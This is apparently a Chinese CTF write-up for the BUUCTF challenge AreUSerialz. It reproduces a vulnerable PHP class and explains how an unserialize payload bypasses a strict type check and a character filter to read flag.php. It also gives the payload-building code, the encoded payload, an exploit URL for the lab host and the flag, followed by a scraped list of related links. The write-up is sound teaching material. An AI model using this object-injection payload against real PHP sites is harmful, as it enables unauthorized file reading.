源码如下,代码审计:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
        protected $filename;
        protected $content;

function __construct() { 
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }

public function process() {
            if($this->op == "1") {  # 写入文件
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read(); # 读取文件
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }

private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }

private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }

private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }

function __destruct() {
            if($this->op === "2") # 使用强类型比较
                $this->op = "1";
            $this->content = "";
            $this->process();
        }

}

function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) # 判断有无特殊字符
                return false;
        return true;
    }

if(isset($_GET{'str'})) {  # 接收 str 参数

$str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }

}

read方法里有个

 $res = file_get_contents($this->filename);

可以用来读取文件,       if($this->op === "2") # 使用强类型比较 这里是个强类型比较,令$op=2即可满足 $this->process(); 进而触发    $res = $this->read(); #  利用file_get_contents读取文件。

这里还有个点是要绕过is_valid()函数,将protected类型改为public,即可消除不可打印字符。

最终构造如下:

<?phpclass FileHandler {public $op = " 2";public $filename = "flag.php";public $content;}$a = new FileHandler();echo serialize($a);
?>

payload:

O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}

http://963fb844-023c-4e0e-8d0f-5c2e4f37476e.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}

访问网页源代码,拿到flag:

flag{8584c2c4-1dbb-4f1c-8416-c191989f3528}

[网鼎杯 2020 青龙组]AreUSerialz BUUCTF相关推荐

  1. Buuctf[网鼎杯 2020 青龙组]AreUSerialz

    [网鼎杯 2020 青龙组]AreUSerialz 打开题目仔细阅读源码 <?phpinclude("flag.php"); highlight_file(__FILE__) ...

  2. [网鼎杯 2020 青龙组]AreUSerialz WP

    [网鼎杯 2020 青龙组]AreUSerialz WP 看到题目,首先进入代码审计 <?phpinclude("flag.php");//在文件中插入flag.php文件的 ...

  3. [网鼎杯 2020 青龙组]AreUSerialz

    打开题目,获得一大段代码 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {prote ...

  4. [网鼎杯 2020 青龙组]AreUSerialz 1

    打开靶场,是一道php代码审计的题目,是个反序列化的题目 分块对代码进行分析,先分析输入部分 function is_valid($s) {for($i = 0; $i < strlen($s) ...

  5. BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker

    BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...

  6. Buuctf [网鼎杯 2020 青龙组]jocker 题解

    目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...

  7. re -25 buuctf [网鼎杯 2020 青龙组]jocker

    [网鼎杯 2020 青龙组]jocker 前话:ida7.6设置栏内没有general,可以通过ctrl+shift+p打开命令面板,搜索option打开设置选项,于Disassembly设置堆栈显示 ...

  8. undefsafe原型链[网鼎杯 2020 青龙组]notes

    感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...

  9. [网鼎杯 2020 青龙组]jocker

    [网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...

最新文章

  1. php aws s3查看所有文件_国内AWS没有文件系统服务,快来看如何通过EC2挂载S3存储桶替代...
  2. 《人脸识别原理及算法——动态人脸识别系统研究》—1章1.2节人脸识别相关学科的进展...
  3. python 读取csv_python 读取csv 文件
  4. 输入法注入源码_将注入进行到底:利用Mono注入C#游戏脚本
  5. AutoFac自动注入时报错
  6. 【渝粤教育】国家开放大学2018年秋季 0043-22T计算机文化 参考试题
  7. 微服务架构案例(02):业务架构设计,系统分层管理
  8. hdu 1195 Open the Lock
  9. jni c java_使用JNI在C中调用java代码
  10. 物联网平台建设调研报告
  11. 计算机与生活的ppt,计算机应用基础说课PPT
  12. 中国姓氏人口排名及分布
  13. 判断入射满射c语言编码,例4,判断下列函数是否是满射、单射、双射。.PDF
  14. 爪哇语:??????? 字面量,分类和存储库
  15. BZOJ 2563 : 阿狸和桃子的游戏
  16. 常用的算法(PHP 版)
  17. win7计算机个性化,win7系统桌面右击不显示个性化选项的解决方法
  18. 正则:匹配以某字符串开头或不以某字符串开头的字符串
  19. Flex布局:Flex布局
  20. Java某人再玩游戏的时候输入密码123456后成功进入游戏(输错5次则被强行退出)要求用程序实现密码验证的过程。

热门文章

  1. Creator 3D 实现小姐姐高光发丝,这帮引擎大佬真的是服了!
  2. 关于各种运输层的可靠传输协议
  3. 信贷系统之小额信贷管理系统功能
  4. 日本机器人服获安全认证 为全球发布铺平道路
  5. 异步社区|本周半价电子书书单
  6. Android研究学习动态壁纸
  7. 刚毕业萌新分享工作规划和面试经历
  8. 转载 积分/C币获取方式
  9. vue 锚点定位 tab切换
  10. centos6下使用有道云笔记